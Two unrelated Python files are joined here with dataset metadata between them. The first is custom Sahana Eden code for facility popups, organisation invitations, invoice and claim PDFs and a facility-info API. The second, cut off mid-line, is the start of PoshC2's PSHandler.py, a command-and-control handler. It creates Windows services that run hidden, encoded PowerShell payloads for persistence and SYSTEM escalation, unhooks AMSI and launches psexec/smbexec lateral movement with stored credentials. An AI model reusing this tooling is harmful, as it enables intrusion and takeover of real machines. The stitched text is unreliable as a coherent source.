(location.addr_postcode, place) append(formrow(T("Place"), place)) # Phone number phone = record.phone1 if phone: append(formrow(T("Phone"), phone)) # Email address (as hyperlink) email = record.email if email: append(formrow(table.email.label, A(email, _href="mailto:%s" % email))) # Opening Times opening_times = record.opening_times if opening_times: append(formrow(table.opening_times.label, opening_times)) # Site services stable = s3db.org_service ltable = s3db.org_service_site join = stable.on(stable.id == ltable.service_id) query = (ltable.site_id == record.site_id) & \ (ltable.deleted == False) rows = db(query).select(stable.name, join=join) services = [row.name for row in rows] if services: append(formrow(T("Services"), ", ".join(services))) # Comments if record.comments: append(formrow(table.comments.label, record.comments, represent = table.comments.represent, )) return DIV(title, details, _class="map-popup") # ============================================================================= class ServiceListRepresent(S3Represent): always_list = True def render_list(self, value, labels, show_link=True): """ Helper method to render list-type representations from bulk()-results. @param value: the list @param labels: the labels as returned from bulk() @param show_link: render references as links, should be the same as used with bulk() """ show_link = show_link and self.show_link values = [v for v in value if v is not None] if not len(values): return "" if show_link: labels_ = (labels[v] if v in labels else self.default for v in values) else: labels_ = sorted(s3_str(labels[v]) if v in labels else self.default for v in values) html = UL(_class="service-list") for label in labels_: html.append(LI(label)) return html # ============================================================================= class OrganisationRepresent(S3Represent): """ Custom representation of organisations showing the organisation type - relevant for facility approval """ def __init__(self, show_type=True, show_link=True): super(OrganisationRepresent, self).__init__(lookup = "org_organisation", fields = ["name",], show_link = show_link, ) self.show_type = show_type self.org_types = {} self.type_names = {} # ------------------------------------------------------------------------- def lookup_rows(self, key, values, fields=None): """ Custom lookup method for organisation rows, does a left join with the parent organisation. Parameters key and fields are not used, but are kept for API compatibility reasons. @param values: the organisation IDs """ db = current.db s3db = current.s3db otable = s3db.org_organisation count = len(values) if count == 1: query = (otable.id == values[0]) else: query = (otable.id.belongs(values)) rows = db(query).select(otable.id, otable.name, limitby = (0, count), ) if self.show_type: ltable = s3db.org_organisation_organisation_type if count == 1: query = (ltable.organisation_id == values[0]) else: query = (ltable.organisation_id.belongs(values)) query &= (ltable.deleted == False) types = db(query).select(ltable.organisation_id, ltable.organisation_type_id, ) all_types = set() org_types = self.org_types = {} for t in types: type_id = t.organisation_type_id all_types.add(type_id) organisation_id = t.organisation_id if organisation_id not in org_types: org_types[organisation_id] = {type_id} else: org_types[organisation_id].add(type_id) if all_types: ttable = s3db.org_organisation_type query = ttable.id.belongs(all_types) types = db(query).select(ttable.id, ttable.name, limitby = (0, len(all_types)), ) self.type_names = {t.id: t.name for t in types} return rows # ------------------------------------------------------------------------- def represent_row(self, row, prefix=None): """ Represent a single Row @param row: the org_organisation Row @param prefix: the hierarchy prefix (unused here) """ name = s3_str(row.name) if self.show_type: T = current.T type_ids = self.org_types.get(row.id) if type_ids: type_names = self.type_names types = [s3_str(T(type_names[t])) for t in type_ids if t in type_names ] name = "%s (%s)" % (name, ", ".join(types)) return name # ============================================================================= class ContactRepresent(pr_PersonRepresentContact): """ Visually enhanced version of pr_PersonRepresentContact """ def represent_row(self, row): """ Represent a row @param row: the Row """ output = DIV(SPAN(s3_fullname(row), _class = "contact-name", ), _class = "contact-repr", ) try: pe_id = row.pe_id except AttributeError: pass else: if self.show_email: email = self._email.get(pe_id) if self.show_phone: phone = self._phone.get(pe_id) if email or phone: details = DIV(_class="contact-details") if email: details.append(DIV(ICON("mail"), SPAN(A(email, _href="mailto:%s" % email, ), _class = "contact-email"), _class = "contact-info", )) if phone: details.append(DIV(ICON("phone"), SPAN(phone, _class = "contact-phone"), _class = "contact-info", )) output.append(details) return output # ============================================================================= class InviteUserOrg(S3Method): """ Custom Method Handler to invite User Organisations """ # ------------------------------------------------------------------------- def apply_method(self, r, **attr): """ Page-render entry point for REST interface. @param r: the S3Request instance @param attr: controller attributes """ output = {} if r.http in ("GET", "POST"): if not r.record: r.error(400, current.ERROR.BAD_REQUEST) if r.interactive: output = self.invite(r, **attr) else: r.error(415, current.ERROR.BAD_FORMAT) else: r.error(405, current.ERROR.BAD_METHOD) return output # ------------------------------------------------------------------------- def invite(self, r, **attr): """ Prepare and process invitation form @param r: the S3Request instance @param attr: controller attributes """ T = current.T db = current.db s3db = current.s3db response = current.response request = current.request session = current.session settings = current.deployment_settings auth = current.auth auth_settings = auth.settings auth_messages = auth.messages output = {"title": T("Invite Organisation"), } # Check for existing accounts active, disabled, invited = get_org_accounts(r.record.id) if active or disabled: response.error = T("There are already user accounts registered for this organization") from s3 import s3_format_fullname fullname = lambda user: s3_format_fullname(fname = user.first_name, lname = user.last_name, truncate = False, ) account_list = DIV(_class="org-account-list") if active: account_list.append(H4(T("Active Accounts"))) accounts = UL() for user in active: accounts.append(LI("%s <%s>" % (fullname(user), user.email))) account_list.append(accounts) if disabled: account_list.append(H4(T("Disabled Accounts"))) accounts = UL() for user in disabled: accounts.append(LI("%s <%s>" % (fullname(user), user.email))) account_list.append(accounts) output["item"] = account_list response.view = self._view(r, "display.html") return output account = invited[0] if invited else None # Look up email to use for invitation email = None if account: email = account.email else: ctable = s3db.pr_contact query = (ctable.pe_id == r.record.pe_id) & \ (ctable.contact_method == "EMAIL") & \ (ctable.deleted == False) contact = db(query).select(ctable.value, orderby = ctable.priority, limitby = (0, 1), ).first() if contact: email = contact.value # Form Fields utable = auth_settings.table_user dbset = db(utable.id != account.id) if account else db formfields = [Field("email", default = email, requires = [IS_EMAIL(error_message = auth_messages.invalid_email), IS_LOWER(), IS_NOT_IN_DB(dbset, "%s.email" % utable._tablename, error_message = auth_messages.duplicate_email, ), ] ), ] # Generate labels (and mark required fields in the process) labels, has_required = s3_mark_required(formfields) response.s3.has_required = has_required # Form buttons SEND_INVITATION = T("Send New Invitation") if account else T("Send Invitation") buttons = [INPUT(_type = "submit", _value = SEND_INVITATION, ), # TODO cancel-button? ] # Construct the form response.form_label_separator = "" form = SQLFORM.factory(table_name = "invite", record = None, hidden = {"_next": request.vars._next}, labels = labels, separator = "", showid = False, submit_button = SEND_INVITATION, #delete_label = auth_messages.delete_label, formstyle = settings.get_ui_formstyle(), buttons = buttons, *formfields) # Identify form for CSS & JS Validation form.add_class("send_invitation") if form.accepts(request.vars, session, formname = "invite", #onvalidation = auth_settings.register_onvalidation, ): error = self.invite_account(r.record, form.vars.email, account=account) if error: response.error = T("Could not send invitation (%(reason)s)") % {"reason": error} else: response.confirmation = T("Invitation sent") else: if account: response.warning = T("This organisation has been invited before!") output["form"] = form response.view = self._view(r, "update.html") return output # ------------------------------------------------------------------------- @classmethod def invite_account(cls, organisation, email, account=None): request = current.request data = {"first_name": organisation.name, "email": email, # TODO language => use default language "link_user_to": ["staff"], "organisation_id": organisation.id, } # Generate registration key and activation code from uuid import uuid4 key = str(uuid4()) code = uuid4().hex[-6:].upper() # Add hash to data data["registration_key"] = cls.keyhash(key, code) if account: success = account.update_record(**data) if not success: return "could not update preliminary account" else: utable = current.auth.settings.table_user # Catch email addresses already used in existing accounts if current.db(utable.email == email).select(utable.id, limitby = (0, 1), ).first(): return "email address %s already in use" % email user_id = utable.insert(**data) if user_id: ltable = current.s3db.org_organisation_user ltable.insert(organisation_id = organisation.id, user_id = user_id, ) else: return "could not create preliminary account" # Compose and send invitation email # => must use public_url setting because URL() produces a # localhost address when called from CLI or script base_url = current.deployment_settings.get_base_public_url() appname = request.application registration_url = "%s/%s/default/index/register_invited/%s" data = {"url": registration_url % (base_url, appname, key), "code": code, } from .notifications import CMSNotifications return CMSNotifications.send(email, "InviteOrg", data, module = "auth", resource = "user", ) # ------------------------------------------------------------------------- @staticmethod def keyhash(key, code): """ Generate a hash of the activation code using the registration key @param key: the registration key @param code: the activation code @returns: the hash as string """ crypt = CRYPT(key=key, digest_alg="sha512", salt=None) return str(crypt(code.upper())[0]) # ============================================================================= class InvoicePDF(S3Method): """ REST Method to generate an invoice PDF - for external accounting archives """ def apply_method(self, r, **attr): """ Generate a PDF of an Invoice @param r: the S3Request instance @param attr: controller attributes """ if r.representation != "pdf": r.error(415, current.ERROR.BAD_FORMAT) if not r.record or r.http != "GET": r.error(400, current.ERROR.BAD_REQUEST) T = current.T # Filename to include invoice number if available invoice_no = r.record.invoice_no from s3.s3export import S3Exporter exporter = S3Exporter().pdf return exporter(r.resource, request = r, method = "read", pdf_title = T("Invoice"), pdf_filename = invoice_no if invoice_no else None, pdf_header = self.invoice_header, pdf_callback = self.invoice, pdf_footer = self.invoice_footer, pdf_hide_comments = True, pdf_header_padding = 12, pdf_orientation = "Portrait", pdf_table_autogrow = "B", **attr ) # ------------------------------------------------------------------------- @classmethod def invoice_header(cls, r): """ Generate the invoice header @param r: the S3Request """ T = current.T table = r.resource.table invoice = r.record pdata = cls.lookup_header_data(invoice) place = [pdata.get(k) for k in ("addr_postcode", "addr_place")] header = TABLE(TR(TD(DIV(H4(T("Invoice")), P(" ")), _colspan = 4, ), ), TR(TH(T("Invoicing Party")), TD(pdata.get("organisation", "-")), TH(T("Invoice No.")), TD(table.invoice_no.represent(invoice.invoice_no)), ), TR(TH(T("Address")), TD(pdata.get("addr_street", "-")), TH(table.date.label), TD(table.date.represent(invoice.date)), ), TR(TH(T("Place")), TD(" ".join(v for v in place if v)), TH(T("Payers")), TD(pdata.get("payers")), ), TR(TH(T("Email")), TD(pdata.get("email", "-")), TH(T("Billing Date")), TD(table.date.represent(pdata.get("billing_date"))), ), ) return header # ------------------------------------------------------------------------- @classmethod def invoice(cls, r): """ Generate the invoice body @param r: the S3Request """ T = current.T table = r.table invoice = r.record pdata = cls.lookup_body_data(invoice) # Lambda to format currency amounts amt = lambda v: IS_FLOAT_AMOUNT.represent(v, precision=2, fixed=True) currency = invoice.currency # Specification of costs costs = TABLE(TR(TH(T("No.")), TH(T("Description")), TH(T("Number##count")), TH(T("Unit")), TH(table.price_per_unit.label), TH(T("Total")), TH(table.currency.label), ), TR(TD("1"), # only one line item here TD(pdata.get("title", "-")), TD(str(invoice.quantity_total)), TD(pdata.get("unit", "-")), TD(amt(invoice.price_per_unit)), TD(amt(invoice.amount_receivable)), TD(currency), ), TR(TD(H5(T("Total")), _colspan=5), TD(H5(amt(invoice.amount_receivable))), TD(H5(currency)), ), ) # Payment Details an_field = table.account_number an = an_field.represent(invoice.account_number) payment_details = TABLE(TR(TH(table.account_holder.label), TD(invoice.account_holder), ), TR(TH(an_field.label), TD(an), ), TR(TH(table.bank_name.label), TD(invoice.bank_name), ), ) return DIV(H4(" "), H5(T("Specification of Costs")), costs, H4(" "), H4(" "), H5(T("Payable within %(num)s days to") % {"num": 30}), payment_details, ) # ------------------------------------------------------------------------- @staticmethod def invoice_footer(r): """ Generate the invoice footer @param r: the S3Request """ T = current.T invoice = r.record # Details about who generated the document and when user = current.auth.user if not user: username = T("anonymous user") else: username = s3_fullname(user) now = S3DateTime.datetime_represent(current.request.utcnow, utc=True) note = T("Document generated by %(user)s on %(date)s") % {"user": username, "date": now, } # Details about the data source vhash = invoice.vhash try: verification = vhash.split("$$")[1][:7] except (AttributeError, IndexError): verification = T("invalid") settings = current.deployment_settings source = TABLE(TR(TH(T("System Name")), TD(settings.get_system_name()), ), TR(TH(T("Web Address")), TD(settings.get_base_public_url()), ), TR(TH(T("Data Source")), TD("%s [%s]" % (invoice.uuid, verification)), ), ) return DIV(P(note), source) # ------------------------------------------------------------------------- @staticmethod def lookup_header_data(invoice): """ Look up data for the invoice header @param invoice: the invoice record @returns: dict with header data """ db = current.db s3db = current.s3db data = {} btable = s3db.fin_voucher_billing ptable = s3db.fin_voucher_program otable = s3db.org_organisation ftable = s3db.org_facility ltable = s3db.gis_location ctable = s3db.pr_contact # Look up the billing date query = (btable.id == invoice.billing_id) billing = db(query).select(btable.date, limitby = (0, 1), ).first() if billing: data["billing_date"] = billing.date # Use the program admin org as "payers" query = (ptable.id == invoice.program_id) join = otable.on(otable.id == ptable.organisation_id) admin_org = db(query).select(otable.name, join = join, limitby = (0, 1), ).first() if admin_org: data["payers"] = admin_org.name # Look up details of the invoicing party query = (otable.pe_id == invoice.pe_id) & \ (otable.deleted == False) organisation = db(query).select(otable.id, otable.name, limitby = (0, 1), ).first() if organisation: data["organisation"] = organisation.name # Email address query = (ctable.pe_id == invoice.pe_id) & \ (ctable.contact_method == "EMAIL") & \ (ctable.deleted == False) email = db(query).select(ctable.value, limitby = (0, 1), ).first() if email: data["email"] = email.value # Facility address query = (ftable.organisation_id == organisation.id) & \ (ftable.obsolete == False) & \ (ftable.deleted == False) left = ltable.on(ltable.id == ftable.location_id) facility = db(query).select(ftable.email, ltable.addr_street, ltable.addr_postcode, ltable.L3, ltable.L4, left = left, limitby = (0, 1), orderby = ftable.created_on, ).first() if facility: if data.get("email"): # Fallback data["email"] = facility.org_facility.email location = facility.gis_location data["addr_street"] = location.addr_street or "-" data["addr_postcode"] = location.addr_postcode or "-" data["addr_place"] = location.L4 or location.L3 or "-" return data # ------------------------------------------------------------------------- @staticmethod def lookup_body_data(invoice): """ Look up additional data for invoice body @param invoice: the invoice record @returns: dict with invoice data """ db = current.db s3db = current.s3db ptable = s3db.fin_voucher_program query = (ptable.id == invoice.program_id) & \ (ptable.deleted == False) program = db(query).select(ptable.id, ptable.name, ptable.unit, limitby = (0, 1), ).first() if program: data = {"title": program.name, "unit": program.unit, } else: data = {} return data # ============================================================================= class ClaimPDF(S3Method): """ REST Method to generate a claim PDF - for external accounting archives """ def apply_method(self, r, **attr): """ Generate a PDF of a Claim @param r: the S3Request instance @param attr: controller attributes """ if r.representation != "pdf": r.error(415, current.ERROR.BAD_FORMAT) if not r.record or r.http != "GET": r.error(400, current.ERROR.BAD_REQUEST) T = current.T # Filename to include invoice number if available invoice_no = self.invoice_number(r.record) from s3.s3export import S3Exporter exporter = S3Exporter().pdf return exporter(r.resource, request = r, method = "read", pdf_title = T("Compensation Claim"), pdf_filename = invoice_no if invoice_no else None, pdf_header = self.claim_header, pdf_callback = self.claim, pdf_footer = self.claim_footer, pdf_hide_comments = True, pdf_header_padding = 12, pdf_orientation = "Portrait", pdf_table_autogrow = "B", **attr ) # ------------------------------------------------------------------------- @staticmethod def invoice_number(record): invoice_id = record.invoice_id if invoice_id: s3db = current.s3db itable = s3db.fin_voucher_invoice query = (itable.id == invoice_id) invoice = current.db(query).select(itable.invoice_no, cache = s3db.cache, limitby = (0, 1), ).first() else: invoice = None return invoice.invoice_no if invoice else None # ------------------------------------------------------------------------- @classmethod def claim_header(cls, r): """ Generate the claim header @param r: the S3Request """ T = current.T table = r.resource.table itable = current.s3db.fin_voucher_invoice claim = r.record pdata = cls.lookup_header_data(claim) place = [pdata.get(k) for k in ("addr_postcode", "addr_place")] status = " " if claim.invoice_id else "(%s)" % T("not invoiced yet") header = TABLE(TR(TD(DIV(H4(T("Compensation Claim")), P(status)), _colspan = 4, ), ), TR(TH(T("Invoicing Party")), TD(pdata.get("organisation", "-")), TH(T("Invoice No.")), TD(itable.invoice_no.represent(pdata.get("invoice_no"))), ), TR(TH(T("Address")), TD(pdata.get("addr_street", "-")), TH(itable.date.label), TD(itable.date.represent(pdata.get("invoice_date"))), ), TR(TH(T("Place")), TD(" ".join(v for v in place if v)), TH(T("Payers")), TD(pdata.get("payers")), ), TR(TH(T("Email")), TD(pdata.get("email", "-")), TH(T("Billing Date")), TD(table.date.represent(pdata.get("billing_date"))), ), ) return header # ------------------------------------------------------------------------- @classmethod def claim(cls, r): """ Generate the claim body @param r: the S3Request """ T = current.T table = r.table claim = r.record pdata = cls.lookup_body_data(claim) # Lambda to format currency amounts amt = lambda v: IS_FLOAT_AMOUNT.represent(v, precision=2, fixed=True) currency = claim.currency # Specification of costs costs = TABLE(TR(TH(T("No.")), TH(T("Description")), TH(T("Number##count")), TH(T("Unit")), TH(table.price_per_unit.label), TH(T("Total")), TH(table.currency.label), ), TR(TD("1"), # only one line item here TD(pdata.get("title", "-")), TD(str(claim.quantity_total)), TD(pdata.get("unit", "-")), TD(amt(claim.price_per_unit)), TD(amt(claim.amount_receivable)), TD(currency), ), TR(TD(H5(T("Total")), _colspan=5), TD(H5(amt(claim.amount_receivable))), TD(H5(currency)), ), ) # Payment Details an_field = table.account_number an = an_field.represent(claim.account_number) payment_details = TABLE(TR(TH(table.account_holder.label), TD(claim.account_holder), ), TR(TH(an_field.label), TD(an), ), TR(TH(table.bank_name.label), TD(claim.bank_name), ), ) return DIV(H4(" "), H5(T("Specification of Costs")), costs, H4(" "), H4(" "), H5(T("Payable within %(num)s days to") % {"num": 30}), payment_details, ) # ------------------------------------------------------------------------- @staticmethod def claim_footer(r): """ Generate the claim footer @param r: the S3Request """ T = current.T claim = r.record # Details about who generated the document and when user = current.auth.user if not user: username = T("anonymous user") else: username = s3_fullname(user) now = S3DateTime.datetime_represent(current.request.utcnow, utc=True) note = T("Document generated by %(user)s on %(date)s") % {"user": username, "date": now, } # Details about the data source vhash = claim.vhash try: verification = vhash.split("$$")[1][:7] except (AttributeError, IndexError): verification = T("invalid") settings = current.deployment_settings source = TABLE(TR(TH(T("System Name")), TD(settings.get_system_name()), ), TR(TH(T("Web Address")), TD(settings.get_base_public_url()), ), TR(TH(T("Data Source")), TD("%s [%s]" % (claim.uuid, verification)), ), ) return DIV(P(note), source) # ------------------------------------------------------------------------- @staticmethod def lookup_header_data(claim): """ Look up data for the claim header @param claim: the claim record @returns: dict with header data """ db = current.db s3db = current.s3db data = {} btable = s3db.fin_voucher_billing itable = s3db.fin_voucher_invoice ptable = s3db.fin_voucher_program otable = s3db.org_organisation ftable = s3db.org_facility ltable = s3db.gis_location ctable = s3db.pr_contact # Look up the billing date query = (btable.id == claim.billing_id) billing = db(query).select(btable.date, limitby = (0, 1), ).first() if billing: data["billing_date"] = billing.date # Look up invoice details if claim.invoice_id: query = (itable.id == claim.invoice_id) invoice = db(query).select(itable.date, itable.invoice_no, limitby = (0, 1), ).first() if invoice: data["invoice_no"] = invoice.invoice_no data["invoice_date"] = invoice.date # Use the program admin org as "payers" query = (ptable.id == claim.program_id) join = otable.on(otable.id == ptable.organisation_id) admin_org = db(query).select(otable.name, join = join, limitby = (0, 1), ).first() if admin_org: data["payers"] = admin_org.name # Look up details of the invoicing party query = (otable.pe_id == claim.pe_id) & \ (otable.deleted == False) organisation = db(query).select(otable.id, otable.name, limitby = (0, 1), ).first() if organisation: data["organisation"] = organisation.name # Email address query = (ctable.pe_id == claim.pe_id) & \ (ctable.contact_method == "EMAIL") & \ (ctable.deleted == False) email = db(query).select(ctable.value, limitby = (0, 1), ).first() if email: data["email"] = email.value # Facility address query = (ftable.organisation_id == organisation.id) & \ (ftable.obsolete == False) & \ (ftable.deleted == False) left = ltable.on(ltable.id == ftable.location_id) facility = db(query).select(ftable.email, ltable.addr_street, ltable.addr_postcode, ltable.L3, ltable.L4, left = left, limitby = (0, 1), orderby = ftable.created_on, ).first() if facility: if data.get("email"): # Fallback data["email"] = facility.org_facility.email location = facility.gis_location data["addr_street"] = location.addr_street or "-" data["addr_postcode"] = location.addr_postcode or "-" data["addr_place"] = location.L4 or location.L3 or "-" return data # ------------------------------------------------------------------------- @staticmethod def lookup_body_data(claim): """ Look up additional data for claim body @param claim: the claim record @returns: dict with claim data """ db = current.db s3db = current.s3db ptable = s3db.fin_voucher_program query = (ptable.id == claim.program_id) & \ (ptable.deleted == False) program = db(query).select(ptable.id, ptable.name, ptable.unit, limitby = (0, 1), ).first() if program: data = {"title": program.name, "unit": program.unit, } else: data = {} return data # ============================================================================= class TestFacilityInfo(S3Method): """ REST Method to report details/activities of a test facility """ def apply_method(self, r, **attr): """ Report test facility information @param r: the S3Request instance @param attr: controller attributes """ if r.http == "POST": if r.representation == "json": output = self.facility_info(r, **attr) else: r.error(415, current.ERROR.BAD_FORMAT) else: r.error(405, current.ERROR.BAD_METHOD) return output # ------------------------------------------------------------------------- @staticmethod def facility_info(r, **attr): """ Respond to a POST .json request, request body format: {"client": "CLIENT", - the client identity (ocert) "appkey": "APPKEY", - the client app key (ocert) "code": "FACILITY-CODE", - the facility code "report": ["start","end"], - the date interval to report activities for (optional) (ISO-format dates YYYY-MM-DD) } Output format: {"code": "FACILITY-CODE", - echoed from input "name": "FACILITY-NAME", - the facility name "phone": "phone #", - the facility phone number "email": "email", - the facility email address "organisation": {"name": "ORG-NAME", - the organisation name "type": "ORG-TYPE", - the organisation type "website": "URL" - the organisation website URL }, "location": {"L1": "L1-NAME", - the L1 name (state) "L2": "L2-NAME", - the L2 name (district) "L3": "L3-NAME", - the L3 name (commune/city) "L4": "L4-NAME", - the L4 name (village/town) "address": "STREET", - the street address "postcode": "XXXXX" - the postcode }, "report": ["start","end"], - echoed from input, ISO-format dates YYYY-MM-DD "activity": {"tests":59 - the total number of tests reported for the period } } """ settings = current.deployment_settings # Get the configured, permitted clients ocert = settings.get_custom("ocert") if not ocert: r.error(501, current.ERROR.METHOD_DISABLED) # Read the body JSON of the request body = r.body body.seek(0) try: s = body.read().decode("utf-8") except (ValueError, AttributeError, UnicodeDecodeError): r.error(400, current.ERROR.BAD_REQUEST) try: ref = json.loads(s) except JSONERRORS: r.error(400, current.ERROR.BAD_REQUEST) # Verify the client client = ref.get("client") if not client or client not in ocert: r.error(403, current.ERROR.NOT_PERMITTED) key, _ = ocert.get(client) if key: appkey = ref.get("appkey") if not appkey or appkey.upper() != key.upper(): r.error(403, current.ERROR.NOT_PERMITTED) # Identify the facility db = current.db s3db = current.s3db table = s3db.org_facility record = r.record if record: query = (table.id == record.id) else: code = ref.get("code") if not code: r.error(400, current.ERROR.BAD_REQUEST) query = (table.code.upper() == code.upper()) query &= (table.deleted == False) facility = db(query).select(table.code, table.name, table.phone1, table.email, table.website, table.organisation_id, table.location_id, table.site_id, limitby = (0, 1), ).first() if not facility: r.error(404, current.ERROR.BAD_RECORD) # Prepare facility info output = {"code": facility.code, "name": facility.name, "phone": facility.phone1, "email": facility.email, } # Look up organisation data otable = s3db.org_organisation ttable = s3db.org_organisation_type ltable = s3db.org_organisation_organisation_type left = [ttable.on((ltable.organisation_id == otable.id) & \ (ltable.deleted == False) & \ (ttable.id == ltable.organisation_type_id)), ] query = (otable.id == facility.organisation_id) & \ (otable.deleted == False) row = db(query).select(otable.name, otable.website, ttable.name, left = left, limitby = (0, 1), ).first() if row: organisation = row.org_organisation orgtype = row.org_organisation_type orgdata = {"name": organisation.name, "type": orgtype.name, "website": organisation.website, } output["organisation"] = orgdata # Look up location data ltable = s3db.gis_location query = (ltable.id == facility.location_id) & \ (ltable.deleted == False) row = db(query).select(ltable.L1, ltable.L2, ltable.L3, ltable.L4, ltable.addr_street, ltable.addr_postcode, limitby = (0, 1), ).first() if row: locdata = {"L1": row.L1, "L2": row.L2, "L3": row.L3, "L4": row.L4, "address": row.addr_street, "postcode": row.addr_postcode, } output["location"] = locdata # Look up activity data report = ref.get("report") if isinstance(report, list) and len(report) == 2: parse_date = current.calendar.parse_date start, end = parse_date(s3_str(report[0])), \ parse_date(s3_str(report[1])) if start and end: if start > end: start, end = end, start table = s3db.disease_testing_report query = (table.site_id == facility.site_id) & \ (table.date >= start) & \ (table.date <= end) & \ (table.deleted == False) total = table.tests_total.sum() row = db(query).select(total).first() tests_total = row[total] if not tests_total: tests_total = 0 output["report"] = [start.isoformat(), end.isoformat()] output["activity"] = {"tests": tests_total} else: r.error(400, "Invalid date format in report parameter") else: r.error(400, "Invalid report parameter format") # Return as JSON response = current.response if response: response.headers["Content-Type"] = "application/json; charset=utf-8" return json.dumps(output, separators=(",", ":"), ensure_ascii=False) # END =========================================================================

35.624085

100

0.464814

ca5eb1a819bdf28fdc5cb54fe4883800ea5e8c8d

39,327

py

Python

PSHandler.py

l0gan/PoshC2

1012ff5684e9a0f7811bf76fd04f43ccd7649e3a

[ "BSD-3-Clause" ]

1

2020-06-27T00:34:07.000Z

PSHandler.py

TheWover/PoshC2

ef33808a3f0c4473a4a238518551997463e31e53

[ "BSD-3-Clause" ]

null

PSHandler.py

TheWover/PoshC2

ef33808a3f0c4473a4a238518551997463e31e53

[ "BSD-3-Clause" ]

null

import base64, re, traceback, os, sys from Alias import ps_alias from Colours import Colours from Utils import validate_sleep_time from DB import new_task, update_sleep, get_history, select_item, update_label, unhide_implant, kill_implant, get_implantdetails, get_c2server_all, get_newimplanturl, get_allurls, get_sharpurls, get_cred_by_id, new_c2_message from AutoLoads import check_module_loaded, run_autoloads from Help import posh_help, posh_help1, posh_help2, posh_help3, posh_help4, posh_help5, posh_help6, posh_help7, posh_help8 from Config import PayloadsDirectory, POSHDIR, ROOTDIR, SocksHost from Core import get_creds_from_params from Opsec import ps_opsec from Payloads import Payloads from Utils import argp, load_file, gen_key from prompt_toolkit import PromptSession from prompt_toolkit.history import FileHistory from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from prompt_toolkit.styles import Style from CommandPromptCompleter import FilePathCompleter def handle_ps_command(command, user, randomuri, startup, createdaisypayload, createproxypayload, implant_id, commandloop): try: check_module_loaded("Stage2-Core.ps1", randomuri, user) except Exception as e: print("Error loading Stage2-Core.ps1: %s" % e) # alias mapping for alias in ps_alias: if command.startswith(alias[0]): command.replace(alias[0], alias[1]) command = command.strip() run_autoloads(command, randomuri, user) # opsec failures for opsec in ps_opsec: if opsec == command[:len(opsec)]: print(Colours.RED) print("**OPSEC Warning**") impid = get_implantdetails(randomuri) ri = input("Do you want to continue running - %s? (y/N) " % command) if ri.lower() == "n": command = "" if ri == "": command = "" break if command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"): new_sleep = command.replace('set-beacon ', '') new_sleep = new_sleep.replace('setbeacon ', '') new_sleep = new_sleep.replace('beacon ', '').strip() if not validate_sleep_time(new_sleep): print(Colours.RED) print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") print(Colours.GREEN) else: new_task(command, user, randomuri) update_sleep(new_sleep, randomuri) elif command.startswith("unhook-amsi"): new_task("unhook", user, randomuri) elif command.startswith("searchhelp"): searchterm = (command).replace("searchhelp ", "") helpful = posh_help.split('\n') for line in helpful: if searchterm in line.lower(): print(Colours.GREEN + line) elif (command == "back") or (command == "clear"): startup(user) elif command == "download-files": print(Colours.RED + "Please enter a full path to the directory" + Colours.GREEN) startup(user) elif command.startswith("install-servicelevel-persistencewithproxy"): C2 = get_c2server_all() if C2[11] == "": startup(user, "Need to run createproxypayload first") else: newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload) new_task(cmd, user, randomuri) elif command.startswith("install-servicelevel-persistence"): C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload) new_task(cmd, user, randomuri) elif command.startswith("remove-servicelevel-persistence"): new_task("sc.exe delete CPUpdater", user, randomuri) # psexec lateral movement elif command.startswith("get-implantworkingdirectory"): new_task("pwd", user, randomuri) elif command.startswith("get-system-withproxy"): C2 = get_c2server_all() if C2[11] == "": startup(user, "Need to run createproxypayload first") else: newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], C2[13], C2[11], "", "", C2[19], C2[20], C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload new_task(cmd, user, randomuri) cmd = "sc.exe start CPUpdaterMisc" new_task(cmd, user, randomuri) cmd = "sc.exe delete CPUpdaterMisc" new_task(cmd, user, randomuri) elif command.startswith("get-system-withdaisy"): C2 = get_c2server_all() daisyname = input("Payload name required: ") if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, daisyname))): with open("%s%spayload.bat" % (PayloadsDirectory, daisyname), "r") as p: payload = p.read() cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload new_task(cmd, user, randomuri) cmd = "sc.exe start CPUpdaterMisc" new_task(cmd, user, randomuri) cmd = "sc.exe delete CPUpdaterMisc" new_task(cmd, user, randomuri) elif command.startswith("get-system"): C2 = get_c2server_all() newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "", "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory) payload = newPayload.CreateRawBase() cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload new_task(cmd, user, randomuri) cmd = "sc.exe start CPUpdaterMisc" new_task(cmd, user, randomuri) cmd = "sc.exe delete CPUpdaterMisc" new_task(cmd, user, randomuri) elif command == "quit": ri = input("Are you sure you want to quit? (Y/n) ") if ri.lower() == "n": startup(user) if ri == "" or ri.lower() == "y": new_c2_message("%s logged off." % user) sys.exit(0) elif command.startswith("invoke-psexec ") or command.startswith("invoke-smbexec "): check_module_loaded("Invoke-SMBExec.ps1", randomuri, user) params = re.compile("invoke-smbexec |invoke-psexec ", re.IGNORECASE) params = params.sub("", command) if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if creds['Password']: params = params + " -domain %s -username %s -pass %s" % (creds['Domain'], creds['Username'], creds['Password']) else: params = params + " -domain %s -username %s -hash %s" % (creds['Domain'], creds['Username'], 